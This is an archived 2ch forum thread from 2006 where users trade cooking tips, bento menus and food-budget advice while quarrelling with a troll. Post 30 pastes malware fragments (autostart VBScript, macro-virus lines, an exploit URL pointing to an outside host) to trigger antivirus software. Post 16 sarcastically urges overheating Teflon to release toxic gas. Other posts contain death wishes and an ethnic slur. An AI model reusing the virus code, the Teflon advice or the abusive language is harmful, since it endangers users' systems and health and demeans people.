5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【ホモ】 お料理するわね! 6品目 【ゲイ】

1 :陽気な名無しさん:2006/10/06(金) 23:05:38 ID:NAMTXxH6

                 ハ_ハ  
               ('(゚∀゚∩ 料理で夏バテ防止!!
                (   )
                 ヽヽ_)


  ※ コテはレス禁止。 ってか「ないちん」死ね。


◆前スレ
ホモが料理するわよ!!!!!
http://love3.2ch.net/test/read.cgi/gaysaloon/1140062858/
ホモ】料理しましょ!【ゲイ
http://love3.2ch.net/test/read.cgi/gaysaloon/1144497140/
【ホモ】料理しましょ!3品目【ゲイ】
http://love3.2ch.net/test/read.cgi/gaysaloon/1147753499/
【ホモ】料理するわ!4品目【ゲイ】
http://love3.2ch.net/test/read.cgi/gaysaloon/1151426859/
【定番】 クッキングしましょ! 5品目 【お手軽】
http://love3.2ch.net/test/read.cgi/gaysaloon/1152878368/

☆姉妹スレ
【ぬか床】 漬け物よ 2床目 【浅漬け】
http://love3.2ch.net/test/read.cgi/gaysaloon/1159537374/
【クアアイナ】ファーストフードよ〜【ウェンディーズ】
http://love3.2ch.net/test/read.cgi/gaysaloon/1156928091/

※ないちん対策スレ。湧いたら通報よ。
「電波男」ないちん問題を考える「共産男」
http://love3.2ch.net/test/read.cgi/gaysaloon/1160142106/

2 :サターン ◆rnD3z5kT2A :2006/10/06(金) 23:06:35 ID:MdTlobhb
                / ̄ ̄ ̄ ̄ ̄ ̄ ̄\
                |  2getプギャー♪  |
                \           /
                   ̄\| ̄ ̄ ̄ ̄ ̄  
     
   ( ≧ω≦) キコキコ…    m9(≧ω≦ )  
   ⊂┬⊂ )             ヽ┬⊂ )
    ◎──◎            ◎──◎

3 :陽気な名無しさん:2006/10/06(金) 23:07:00 ID:NAMTXxH6
やーん、台詞を「むりむりデブる秋よ!」にするの忘れたわ…

4 :ないちん:2006/10/06(金) 23:07:57 ID:QcJuDklb
おめでとう

5 :ないちん =^_^=:2006/10/06(金) 23:55:04 ID:H2Oy6LpR
みゃう。

> なんで豆ばかり?
> ハナマサでキロ入り冷凍ミックスビーンズでも買ったのか?

違うな。

ないちんは、
イナバの豆缶を使っているな。やり友スーパーで、
130円だな。smily roll back だな。

vegitarian のたんぱく源は、豆だな。しかもないちんは、
ねこだな。ねこは、人間の8(?)ばいは、
たんぱく質が必要だな。

みゃう。(たんぱく質)

6 :ないちん =^_^=:2006/10/06(金) 23:59:24 ID:H2Oy6LpR
> カボスを味噌汁の具にするの?まさかねえ…
> まあ、ゆず味噌とかがあるくらいだから、
> 柑橘系と味噌の香りって合うのかも知れないわね。

そうだな。単なる、
酢味噌だな。からしぐらいは加えて、からし酢味噌にしたな。

みゃう。(からし酢味噌)

> カボスは味噌汁に絞っていれてるわ
> すっぱくなるけど、カボスの香りと味噌の風味があう、、、と思うわ、たぶん(あたしだけかも)

ないちんは今日は、
味噌水(みそすい)を飲んだな。丸島のかつおだしと、
○○油と、南あるぷるの天然水と、味噌を、といたのだな。
温めてはいないな。

これに、酢とか、
カボスなどのかんきつ類を加えると、おいしそうだな。
冷や飯に、掛けてもいけるな。

みゃう。(からし酢味噌)

7 :しなだれ:2006/10/07(土) 00:22:33 ID:M0J3kXkm
それなら冷汁にしる

8 :ないちん =^_^=:2006/10/07(土) 00:31:00 ID:/iZyCcyo
そうだな。

冷や飯、特に、
玄米飯に、味噌水(みそすい)を掛けると、非常に、
おいしいな。

みゃう。(ひやじる)

9 :ないちん =^_^=:2006/10/07(土) 23:59:43 ID:bflnyekV
今日も、ないちんは、
居酒屋に言ったな。えびせんはやはり、
ガーリック味の方がいいな。
かりかり揚げパスタを食べたな。やはり、
リッツカールトンホテルの全粒粉パスタの方が、いいな。

みゃう。(リッツカールトン)

クリスマスは、ないちんとしては、
パークハイアットホテルでもいいな。

みゃう。(パークア)

10 :ないちん =^_^=:2006/10/08(日) 20:52:02 ID:L+lY99ez
ないちんを、
誹謗中傷するすれが立っている。が、ないちんは、
虫することにした。

みゃう。(虫)

11 :ないちん =^_^=:2006/10/09(月) 20:51:01 ID:G7DTRK2p
ないちんは、今日は、
さくら水産に行ったな。これからは、
さくら水産に行くことにするな。秋刀魚の塩焼きが、
190円だったな。マグロのアラ煮は、
80円だったな。

ないちんはねこだな。ねこは、
魚が好きだな。

みゃう。(さくら水産)

12 :陽気な名無しさん:2006/10/10(火) 04:14:59 ID:zwufy+BN
前スレ終わりそうだからageるわ。
ないちん死ね!!!!!!!!!!!!!!!!!!!!!!!

13 :ないちん =^_^=:2006/10/10(火) 08:54:08 ID:SEF4hYn8
やはり、
響は角瓶の路線なので止めることにするな。これからは、
山崎一本で行くな。みゃう。(山崎)

14 :陽気な名無しさん:2006/10/10(火) 14:48:43 ID:0aTKDmWU

同性愛サロン板、最も痛い住人を決めるのよ!
http://www.37vote.net/2kote/1158164216/


15 :ないちん =^_^=:2006/10/10(火) 19:15:04 ID:rPbdj/tO
火力を強くして油を飛ばすとか、
テフロン加工のフライパンを使うとかして、
油が少なくても済むようにするとかの対策は講じないとね。

16 :ないちん =^_^=:2006/10/10(火) 19:16:27 ID:rPbdj/tO
>>15
テフロンはたいてい基盤がアルミだな。
酢の物の煮物をするといいな。

みゃう。(アルツハイマー)

そうだな。テフロンを、
空焚きすると毒ガスが出るな。どんどん火力を強くして、
空焚きするといいな。

みゃう。(毒ガス)

17 :=^_^= ないちん:2006/10/10(火) 19:18:15 ID:rPbdj/tO
>>14
こんどは、
にこぷんが大健闘してるな。ないちんも、
にこぷんのまねをして、
ねこの顔文字を、こてはんの前に置くな。

=^_^= (みゃう。)

18 :=^_^= ないちん:2006/10/10(火) 19:22:32 ID:rPbdj/tO
979 陽気な名無しさん 2006/10/10(火) 09:00:06 ID:Gwh1nd/M
みゃう!!(みんな!)
次スレもう立ってるけどボイコットよ! 忘れないで!
少しの間の辛抱だから。 糞ネコを完全無視するのよ。
6品目、今の所、ないちんしか書き込んでないわよw ボイコットよ。

みゃう。(ボイコット)

980 陽気な名無しさん sage 2006/10/10(火) 09:02:02 ID:0I2+YACN
みゃう。(疑問)

ボイコットっていつまで??
このスレ終わったらどこへ行けば・・・

みゃう。(絶望)
981 陽気な名無しさん sage 2006/10/10(火) 09:02:54 ID:Ml0FYhuy
> 979
みゃう。

貴方みたいな反応する人こそ居なくなればいいのに

みゃう。(氏ね)
982 陽気な名無しさん sage 2006/10/10(火) 12:13:47 ID:GwG0kNOF
> 981
あたしも同意
料理のこと書きこまないで、過剰な反応や大騒ぎして呆れるわ。

あたしは気が向いたら、
料理スレ6も含めて適当なところに書き込むことにするわ。

みゃう。(呆然)

19 :=^_^= ないちん:2006/10/10(火) 19:24:10 ID:rPbdj/tO
>>18
みゃう!!

ないちんの、
大活躍に、大慌てしている者がいるな。愉快だな。
ないちんはねこだな。今日は、
天気もよかったので、
アスファルトに寝転んでいたな。

みゃう。(ごろ寝)

20 :=^_^= ないちん:2006/10/10(火) 19:48:09 ID:kFcIuwFJ
今日も、
ないちんは居酒屋だな。
カルーアミルクを飲んでいるな。やはり、ないちんのような、
レディーにはぴったりのドリンクだな。

=^_^= (満足)

21 :=^_^= ないちん:2006/10/10(火) 21:56:06 ID:dSWovqg8
今日は、
らんぷ亭で牛丼を食べたな。ちと甘めのような気がしたな。

=^_^= (ちと甘め)

22 :陽気な名無しさん:2006/10/11(水) 01:43:54 ID:G67uTm9W
<明日のお弁当のメニュー>

小エビとアボガドのレモンマヨネーズあえ
揚げだし豆腐とインゲンの炊き合わせ
サツマイモご飯
ゆで卵半分
キュウリの古漬け

ああでも今からでちゃんと起きれるかしら。

23 :陽気な名無しさん:2006/10/11(水) 01:54:33 ID:frxGwwIV
みなさん、ないちんは完全スルーでお願いします。
荒らしに構うと削除依頼が通らない事がありますので。
あまりに酷いと思った時は↓のスレで依頼できます。

http://qb5.2ch.net/test/read.cgi/saku/1088976272/l50

24 :陽気な名無しさん:2006/10/11(水) 02:11:16 ID:ipTy0bjk
あたしも弁当にしようかしら?
でも1人分の自炊+弁当ってコンビニ+外食と変わらなくないかしら?
毎月数千円もの差があるなら考えるのだけど・・何にしろ1人って無駄が多い気がするの。

25 :=^_^= ないちん:2006/10/11(水) 08:44:33 ID:R1quNjAA
みゃう。

今日は、
街宣をしている某市市議団から、
あかばた新聞(100円)を買ったな。早速、
松尾佐智子の今晩のおかず、を見たな。

みゃう。(素晴らしい新聞)

26 :=^_^= ないちん:2006/10/11(水) 08:48:15 ID:R1quNjAA
秋刀魚のゆず南蛮だな。

砂糖・醤油・酢・酒の各大匙2を、
混ぜ合わせるな。

これと、
輪切りゆずと、
斜め薄切りのねぎに混ぜ合わせるな。

みゃう。(#゚Д゚)オラー!

そして、
焼いた秋刀魚に、これをかけ、
漬けびたしにするのだな。

27 :=^_^= ないちん:2006/10/11(水) 08:50:31 ID:R1quNjAA
材料は、4人分で、
秋刀魚4匹だな。ゆずは2個だな。長ネギは、2本だな。計550円だな。

>>24
一人分のカロリーは、360`カロリーだそうだな。

もう暑くないので、
作り置き料理を作って、ローテーションで食べればいいな。
おせち料理方式だな。

みゃう。(あかばた新聞)

28 :=^_^= ないちん:2006/10/11(水) 08:52:35 ID:R1quNjAA
>>24
ハリオやパイレックスの、
ガラス重箱を買っておくといいな。食材の中が見えるな。

しかし、
ないちんのぱんつは透明ではないな。美しい体の線が、
君の目的地、に、優しく収斂しているな。

みゃう。(君の目的地)

29 :陽気な名無しさん:2006/10/11(水) 18:01:28 ID:OcoulhxL
>>24
私はお弁当用の材料を買わずに、夕食を1割増しで作って余った
のを入れてるんだけど、やっぱり給料前の残額が違うわよ。

何より、コンビニや外食は太るし腸の具合がおかしくなるわ〜。

30 :<body onload=window()>:2006/10/11(水) 18:05:51 ID:4odY6rAk
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
܃ܷܵܶޫޭॢ

31 :陽気な名無しさん:2006/10/11(水) 18:08:34 ID:M31bzdSQ
弁当は防腐剤がたんまり。鬼女板スーパーのパート婆スレ見るとげんなり、弁当は自分で
作るのが一番安心だわ。

32 :陽気な名無しさん:2006/10/11(水) 18:19:59 ID:gpf3jVH0
お昼ごはんお弁当やりたいけど、みなさん1人でご飯食べてるの?
みんなと外に食べに行くの断ってるの?
アタシは現実的にはお弁当無理だわorz

33 :=^_^= ないちん:2006/10/11(水) 20:43:56 ID:kMq/tHXK
>>32
ないちんに、
ステディーが出来ない理由も、それだな。

だから、
ないちんは、乱交とか、
女王様ゲームに走ってしまうのだな。

いけめんで、料理が上手いと、
ないちんの様になってしまうのだな。

みゃう。(女帝)

34 :陽気な名無しさん:2006/10/11(水) 21:40:30 ID:rcju5dKq
お弁当で加熱調理なしの冷凍食品ってどうなのかしら?

35 :中森 邪気菜:2006/10/11(水) 21:45:29 ID:Ym1fwvSx
包丁さばきで分かるわよね、使いこなしてるかどうか。。。

36 :中森 邪気菜:2006/10/11(水) 21:48:51 ID:Ym1fwvSx
あたし茄子の一夜漬けがあれば1週間お茶漬けでもいいわ。。。

37 :陽気な名無しさん:2006/10/11(水) 21:52:30 ID:0A6jPZtt
ためしてみてたらきなこ餅くいたくなったわ・・・
アイスのきなこ餅でがまんしようかしら

38 :陽気な名無しさん:2006/10/11(水) 21:57:06 ID:noAxbh0j


>>1
> ※ コテはレス禁止。



39 :=^_^= ないちん:2006/10/11(水) 22:03:28 ID:kMq/tHXK
ウイルス・レスが入っていて、
うざいな。ないちんは、もうここには、来たくないな。

みゃう。(うざ)

40 :=^_^= ないちん:2006/10/11(水) 22:45:05 ID:UWCSKHD3
新すれを、

【みゃう!!】料理6品目【 (#゚Д゚)オラー!】
http://love3.2ch.net/test/read.cgi/gaysaloon/1160574238/

立てたな。みゃう。

41 :サブ子:2006/10/11(水) 23:10:47 ID:cp6PQvFX
あたしは元料理人よ!
月々の食費は一万円いかないわよ。
コツは野菜は八百屋さんで必ずかうの、そしてお馴染みさんになるの!
あたしの実家はお米少し作ってるから、そのお米わけてあげたら腐りかけの野菜タダでゲットよ!
少々損して得とれって感じよ!
肉屋、魚屋も同じことよ。
最近は湯豆腐をよく作るわ。
えのき、水菜、ワカメ、鳥のササミ、その時に一緒に卵も茹でるの、そうして体脂肪13%を維持しつつお金を溜めるのよ!なんでも聞いてくださいな

42 :陽気な名無しさん:2006/10/11(水) 23:19:57 ID:9X886NZR
一ヵ月1万円生活…

43 :陽気な名無しさん:2006/10/11(水) 23:25:22 ID:NlL8Sr/H
食費だけで一万円以下は別段難しくないのよね。
某番組みたいに光熱費込みで一万円以下にしようとしたら大変だわ。

44 :中森 邪気菜:2006/10/12(木) 05:23:40 ID:7xdFXQ3L
お礼に茨城のささにしき送ってくれた建築科の坊や、
いまごろ何してるのかしら?

45 :陽気な名無しさん:2006/10/12(木) 08:10:25 ID:o6jBznau
>>43
確かにね。光熱費が結構数千円いっちゃうからね…

46 :中森 邪気菜:2006/10/12(木) 08:35:23 ID:7xdFXQ3L
皆様!ほんとにお料理なんかしてるの?

47 :陽気な名無しさん:2006/10/12(木) 09:42:51 ID:B3utv39o
してるお!
今日は朝から手巻きすしだお!

48 :陽気な名無しさん:2006/10/12(木) 13:56:45 ID:9lSRoMPL
>30にGJと言いたい気分だわ〜^^いちお貼っとくわね。

同性愛サロン板、最も痛い住人を決めるのよ!その4
http://www.37vote.net/2kote/1160529793/

お昼は昨夜のお鍋の残りでおじや作って食べたの。んまかったわ♪

49 :陽気な名無しさん:2006/10/13(金) 01:02:34 ID:cZ5yWnFL
なんでもいいから、誰か>>41に質問してあげなさいよ


50 :陽気な名無しさん:2006/10/13(金) 01:20:49 ID:RzzUFdnM
>>49 ワロタわ。では質問を・・・
コテ名の由来はなんなの?

51 :陽気な名無しさん:2006/10/13(金) 01:25:32 ID:WWYVdC+w
間違ってアドレス欄に書いちゃった(笑)

52 :陽気な名無しさん:2006/10/13(金) 13:31:09 ID:RcuVlLxF
新米の季節になったわね。
また水加減が面倒くさくなるわ…

53 :陽気な名無しさん:2006/10/13(金) 18:33:37 ID:GoPXwlI8
新米がおいしすぎて食べ過ぎてしまい困る・・・
朝起きてお昼ごはんにと思っておにぎりを三つ作ったのに
我慢できなくて学校行く前に2つ食べてしまったの食べてしまったの・・・
夜は食べない予定だけど、炊いてしまいそうで怖いわ!

54 :陽気な名無しさん:2006/10/14(土) 07:32:24 ID:01N/gaVK
>>52
あら、ホントに天日干しのお米を買っていらっしゃるの?
いまは機械乾燥がほとんどだから、新米だからって水分が特に多いってことはないわよ。

55 :陽気な名無しさん:2006/10/14(土) 07:44:43 ID:01N/gaVK
てか某糞コテはノートン使っているみたいね。
次からウイルスコードをテンプラに入れて、>>2に貼るようにするわ!
あたしのアンチウイルスソフトは、ちゃんと見分けるお利口さんよw

56 :陽気な名無しさん:2006/10/14(土) 07:48:32 ID:pUgthCSU
レス主よりもお利口さんなのね

57 :陽気な名無しさん:2006/10/14(土) 08:09:17 ID:TrnqHRrY
>>30って、そのまんまウィルスなの? よくわかんないわ。 あれがレスに入ってると
困る人がいるの? 何がどうなるのかしら? あたしのMacには当たり前だけど影響ないわ。

58 :陽気な名無しさん:2006/10/14(土) 08:15:19 ID:01N/gaVK
>>57
スレを閲覧するだけでは、全く問題ないわよ。
でもキャッシュとして一時保存されるから、アンチウイルスソフトによっては過剰反応するのよ。
巻き添え喰うオンナもいると思うけど、粘着糞コテがいなくなるのは快適だわ。

59 :陽気な名無しさん:2006/10/14(土) 15:36:12 ID:lblTEo6E
いい環境になったわあ。
すがすがしい気分だわ。

60 :陽気な名無しさん:2006/10/14(土) 15:50:37 ID:BdneJTl1
秋らしいメニューが食べたいわ。

姐さん方の秋メニューって何かしら?

61 :陽気な名無しさん:2006/10/14(土) 16:05:17 ID:Z4CrArvR
秋とは関係ないけど、
人参とほうれん草とベーコンのソテー
に最近ハマってるの。
身体もあったまるし、なんといっても彩りが美しくてため息ついて眺めてるわw

62 :陽気な名無しさん:2006/10/14(土) 16:22:11 ID:aTVBPW6t
眺めてるうちに冷めちゃうわね

63 :陽気な名無しさん:2006/10/14(土) 16:47:23 ID:TuutqpQe
今日はあたしの家で友達の誕生会をするの(数人で祝う小さな会だけど)
ちらし寿司、唐揚げ、フルーツサラダを作ってるわ♪うふふ〜んまそうっ

64 :中森 邪気菜:2006/10/14(土) 16:53:03 ID:eLJyJ/i8
今日は恋の奴隷をくちづさみながらお料理するのはやめたわ。
絹の靴下にするわ。。。

65 :陽気な名無しさん:2006/10/14(土) 16:59:19 ID:FB5/4lCW
あっそ

66 :=^_^= ないちん:2006/10/14(土) 20:14:16 ID:d1yjiieI
チキン・フィレオは、むまかったな。

みゃう。(むまかった)

ないちんは、
来週も、新宿に行く予定だな。

みゃう。(快感)

67 :=^_^= ないちん:2006/10/14(土) 20:16:00 ID:d1yjiieI
漢料理のすれで、
ないちんが紹介した、
@みじんが話題になっていたな。

@みじんがあれば、
くず野菜も、
薬味になったり、ミネストローネ風のスープになったり、
肉野菜味噌になったりするな。

みゃう。(あっと・みじん)

68 :=^_^= ないちん:2006/10/14(土) 20:19:42 ID:d1yjiieI
>>64
ないちんは、
細野はる臣作曲の三国志のテーマを、
口ずさむな。

星が流れる夜、人は祈るの♪
私のこの胸は、あなたのふるさとよ♪

ないちんは、諸葛りょう孔明だな。

みゃう。(孔明)

69 :=^_^= ないちん:2006/10/14(土) 20:21:50 ID:d1yjiieI
>>63
ないちんは、
ちらし寿司の具に、牛肉の甘から煮を加えるのが好きだな。しかし、
すし太郎は、使わないな。

ちなみに、
明治の名外交官、
小村寿太郎は、じゅたろうと読むな。小村、
すし太郎ではないな。

みゃう。(じゅたろう)

70 :=^_^= ないちん:2006/10/14(土) 20:26:54 ID:d1yjiieI
>>53
じゃすみんが、来たな。

みゃう。(じゃすみん)

ないちんは、
ねこだな。ねこは、おかかご飯なら食べるな。
おかかおにぎりなら、
ないちんが盗んでもいいな。

みゃう。(おかかまぶし)

71 :=^_^= ないちん:2006/10/14(土) 20:28:27 ID:d1yjiieI
>>52
ないちんは、
例の陶器製の対流茶碗を使っているな。1000円ぐらいで、
売られているな。これだと、
対流が起こってご飯がうまく炊けるな。
白米なら、効果絶大だな。

みゃう。(絶大)

72 :=^_^= ないちん:2006/10/14(土) 20:35:33 ID:d1yjiieI
>>61
みゃう!!!
みゃう、みゃう、みゃう、みゃう、みゃう!!!!

ないちんは、ねこだな。ねこは、
好物があると、大騒ぎをするな。

冷菜として食べても、おいしそうだな。にんじんは、
波型カットが、おいしそうだな。

73 :=^_^= ないちん:2006/10/14(土) 20:37:31 ID:d1yjiieI
ないちんは、
今日は鍋焼きうどんが食べたいような気がするな。
三越に売られているものだな。これなら、
ねぎを加えるだけで、
食べられそうだな。皿洗いも、必要ないな。

みゃう。(鍋焼きうどん)

74 :=^_^= ないちん:2006/10/14(土) 20:43:37 ID:d1yjiieI
今日は、
豆電球が切れてしまったな。これから、
三越に豆電球を買いに行くな。

みゃう。(豆電球)

75 :=^_^= ないちん:2006/10/14(土) 20:45:43 ID:d1yjiieI
そろそろ、
宴会シーズンだな。ないちんは、
女帝ゲームが出来る、忘年会がやりたいな。

ないちんの、
バディーに、料理を盛り付けさせてやるな。

みゃう。(女体森)

76 :=^_^= ないちん:2006/10/14(土) 20:50:07 ID:d1yjiieI
>>63
新宿3丁目の、
伊勢丹前の居酒屋、
金の蔵じぱんぐの方がよさそうだな。ないちんは、例の快感に言ったときに、
3名さま以下1000円引きの金券を、
もらったな。週末でも使えるようだな。

みゃう。(お深い)

77 :陽気な名無しさん:2006/10/14(土) 22:38:24 ID:KXdKbnlc
こういうのって、荒らしと見なされても差し支えないと思うのだけど。
一生アク禁になっちゃえばいいのに。

78 :陽気な名無しさん:2006/10/14(土) 22:43:38 ID:lblTEo6E
ガッカリ!
当分来ないわ。

79 :陽気な名無しさん:2006/10/14(土) 22:53:21 ID:sH0NWL7I
糞猫隔離スレってないの?

80 :陽気な名無しさん:2006/10/15(日) 08:34:49 ID:jn6vdSuM
そういう割に、誰一人としてレス削除依頼しないのね。
それどころか、そうやって相手してるし。

81 :陽気な名無しさん:2006/10/15(日) 09:29:08 ID:WRAeIHT3
でも一応スレタイにそった話をしてるしね・・・
故意にスレッドの進行を妨害してるということで出せるかもしれないけど、
実際削除されるかかなり微妙そう、て言うか無理そう・・・

今日は夕方お酒を飲みたいと思って朝からキャベツの甘酢漬けを仕込みました。

82 :陽気な名無しさん:2006/10/15(日) 10:11:45 ID:HQ4LufWY
>>63

あら、いいじゃない。
ちらし寿司の具は何かしら?

>>81

キャベツの甘酢漬け???
ロールキャベツの味を濃くしたようなのを想像すればいいのかしら?


83 :陽気な名無しさん:2006/10/15(日) 11:52:51 ID:WRAeIHT3
>82
んー、ピクルスみたいなもの?

84 :陽気な名無しさん:2006/10/15(日) 12:16:00 ID:jn6vdSuM
和風コールスローって感じなのかしらね。
てかマヨ入れたらそのものになりそうw

85 :陽気な名無しさん:2006/10/15(日) 21:27:36 ID:OTxjhqRN
サラダできゅうり、レタスのように水っぽい素材だけの場合、味が濃いめのドレッシングがあうわよね。
今日牛角の韓国ドレッシングを試したら、たくさん食べられたわ。
味は叙叙苑のドレッシングと一緒かな?

86 :陽気な名無しさん:2006/10/15(日) 21:33:35 ID:024vTUHd
久しぶりに来てみたら相変わらず基地外糞コテがのさばっていて幻滅
誰かアレをアク禁にしてやって

87 :陽気な名無しさん:2006/10/15(日) 21:36:30 ID:QwnbrfG2
自分専用の料理スレ立てたくせにね。

88 :陽気な名無しさん:2006/10/15(日) 21:46:14 ID:nutAxhxd
明日の弁当は、
・レンコン、たらこのバター醤油炒め
・キャベツの浅漬け
・ボイルいんげん
・いわしのトマト煮(缶詰)

89 :=^_^= ないちん:2006/10/16(月) 00:35:40 ID:2iX6tGrI
>>85
回っている店が、
きもいな。ないちんは、しかし、
おごってくれれば付いて行ってもいいな。ないちんはねこだな。
ねこは、えさをもらうのを待っているのだな。

仕方がないので、
野菜の炭火焼だけ食べることにするな。

みゃう。(仕方ない)

90 :=^_^= ないちん:2006/10/16(月) 00:36:51 ID:2iX6tGrI
>>88
みゃう!
みゃう、みゃう、みゃう、みゃう、みゃう、みゃう!!!

ないちんはねこだな。ねこは、
大好物があると大騒ぎをするな。
いわしのトマトには、ねこの大好物だな。

91 :=^_^= ないちん:2006/10/16(月) 00:39:39 ID:2iX6tGrI
>>82
やはり、
牛肉を用いるとなると、
アスパラガスを緑に用いたくなるな。赤には、
にんじんやパプリカがいいかもしれないな。黄色は、普通に、
卵焼きでも言いな。

みゃう。(彩)

92 :=^_^= ないちん:2006/10/16(月) 00:42:00 ID:2iX6tGrI
>>82
書き込みがないところを見ると、
不味くて食えなかったに違いないな。また、
残飯を出したに違いないのだな。これだから、
料理下手は困るな。

みゃう。(ざんぱん)

93 :=^_^= ないちん:2006/10/16(月) 00:44:24 ID:2iX6tGrI
>>81
ないちんは、今日は、
さくら水産で、
豆乳のサワーと黒えびすを飲んだな。
豆乳のサワーは、
ぐるなびクーポンで無料になったな。
さくら水産は、
新宿に、
6店舗もあるな。みゃう。(6店舗)

94 :=^_^= ないちん:2006/10/16(月) 00:45:56 ID:2iX6tGrI
>>81
飲んでいる酒が問題だな。

ないちんは、
セレブだな。セレブは、やはり、
黒えびすを飲むな。これは、大手町三井生命ビル地下の、
三越レストランでも、供されているな。

みゃう。(MITUKOSHI)

みゃう。(YEBISU)

95 :=^_^= ないちん:2006/10/16(月) 00:53:50 ID:2iX6tGrI
みゃう。

96 :=^_^= ないちん:2006/10/16(月) 00:56:07 ID:2iX6tGrI
ないちんは、いま、
カナディアン・クラブを飲んでいるな。安売りで買った、
ウイスキーだな。やはり、
ジャック・ダニエル風の、
メープル味がするような気がするな。

ジャック・ダニエル・チキン・ステーキを、
もも肉で作りたいな。TGIで、
むね肉のものをおごってもらったな。
不味かったな。

97 :陽気な名無しさん:2006/10/16(月) 01:17:59 ID:LATorL1L
エビシュウマイ作ってみた
おいしかったけど、皮むきとか背わた取りとか臭み取りとか・・・・orz
面倒臭いので二度と作らないお!!
味の素冷食甘エビシュウマイがお手軽だお!!!!

秋茄子シーズン到来、万歳!
くれぐれも不謹慎な使い方をしないように

98 :陽気な名無しさん:2006/10/16(月) 01:42:46 ID:CLbn9xIq
セレブはさくら水産なんて行かないわw

99 :=^_^= ないちん:2006/10/16(月) 01:58:31 ID:2iX6tGrI
>>98
みゃう。

でも行ってみて思ったのは、かなり、
インテリ臭いという店だな。特に、
西武新宿駅前の歌舞伎町のカウンターは、
早稲田(?)大学の教員(?)と、
中国人留学生が、名前を把握して話をしていたな。

みゃう。(インテリ臭い)

100 :陽気な名無しさん:2006/10/16(月) 02:01:24 ID:BNYED1q+
ないちんって、ボーイズジャパンに書き込みしてるでしょ?

101 :=^_^= ないちん:2006/10/16(月) 02:01:27 ID:2iX6tGrI
>>97
味の素は、
気色悪くて食えないな。でも最近、
大きめのサイズのものが、売り出されているようだな。
ないちんは、
コンビニなどで売られている大きめサイズの、
値の張るシュウマイが、気になるな。

みゃう。(気になる)

102 :朝陽門院品子 ◆Z9TaEykyCQ :2006/10/16(月) 02:04:43 ID:ivLq2r2T
人さまが美味しく召し上がっているものを
気色悪いなどと言うものではありません。
だから、あなたは排除されるのに、
いい加減にお気付きなさい。
それに、コンビニエンス・ストアに、
値の張るものなどありませんよ。

103 :=^_^= ないちん:2006/10/16(月) 02:16:04 ID:2iX6tGrI
>>100
これまた初耳だな。みゃう。

104 :=^_^= ないちん:2006/10/16(月) 02:17:30 ID:2iX6tGrI
>>102
みゃう!!

キンレイの、
鍋焼きものは、500円ぐらいしてしまうな。
鍋焼きラーメンや、
鍋焼きうどんだな。

みゃう。(気色が悪い)

105 :=^_^= ないちん:2006/10/16(月) 03:04:58 ID:bD9LyopD
みゃう。(・・・・・・

106 :陽気な名無しさん:2006/10/16(月) 04:57:22 ID:hI8WAQ4B
>>80
あら、私削除依頼出したわよ。

107 :陽気な名無しさん:2006/10/16(月) 07:32:16 ID:d0YIhOE0
出しても相手してちゃ意味無いがな

108 :=^_^= ないちん:2006/10/16(月) 09:12:24 ID:pAqTeUa0
みゃう。(おはようさん)

109 :中森 邪気菜:2006/10/16(月) 10:04:13 ID:GkBUBedo
あーたの挨拶とお礼はイヤミだから嫌い!

110 :陽気な名無しさん:2006/10/16(月) 11:22:44 ID:XMY6t0RN

同性愛サロン板、最も痛い住人を決めるのよ!その4
http://www.37vote.net/2kote/1160529793/


111 :陽気な名無しさん:2006/10/16(月) 11:25:37 ID:WLMNfyX4
動画upしました
up1875.zip サスケ 九鬼一族 人買い
http://www.774.cc:8000/upload-pro/all.html?1160854832

112 :=^_^= ないちん:2006/10/16(月) 12:59:36 ID:W8XeQXNA
>>110
みゃう。

ないちんの盟友の、
にこぷんが、上位に食い込んでいるな。ないちんは、まだ、
追いついていないようだな。

みゃう。(上位)

113 :=^_^= ないちん:2006/10/16(月) 13:01:49 ID:W8XeQXNA
みゃう。

今日は、
豆腐と鶏肉をこね合わせた、
四角いハンバーグ方の、
炭火焼つくねが食べたいな。でも、
自作は面倒だな。やはり、行くべきところに行くな。

みゃう。(居酒屋)

114 :陽気な名無しさん:2006/10/17(火) 11:18:12 ID:qnhWv43F
>>98

なに?そのさくら水産って。

115 :陽気な名無しさん:2006/10/17(火) 11:56:46 ID:AIHwYNeT
>>114
2丁目付近にもある居酒屋だお

116 :陽気な名無しさん:2006/10/17(火) 12:07:49 ID:GRnd6qIA
さくら水産は安〜ッい居酒屋よ
店員さんは呼んでもこないし、難しい日本語は分からないみたい
あたしは自主的に行かないわ

117 :=^_^= ないちん:2006/10/17(火) 13:24:36 ID:l+09lyjx
>>115
みゃう。

http://rm.gnavi.co.jp/Map/map.php?dbMode=real&gShopID=g070316&gMode=static&dir=g070316&page=print&c=35/41/08.700,139/42/54.590&scale=10000&pos=35/41/08.700,139/42/54.590&xul=35/41/16.856,139/42/43.605&xdr=35/41/0.602,139/43/5.617

http://rm.gnavi.co.jp/Map/map.php?dbMode=real&gShopID=g070302&gMode=static&dir=g070302&page=print&c=35/41/16.760,139/42/30.580&scale=10000&pos=35/41/16.760,139/42/30.580&xul=35/41/24.917,139/42/19.591&xdr=35/41/8.664,139/42/41.603

118 :=^_^= ないちん:2006/10/17(火) 13:26:40 ID:l+09lyjx
>>116
中国人のまんこが、
ホール係だな。愛想も悪いな。皿もがちゃんと音を立てておくな。

みゃう。(がちゃん)

でも、
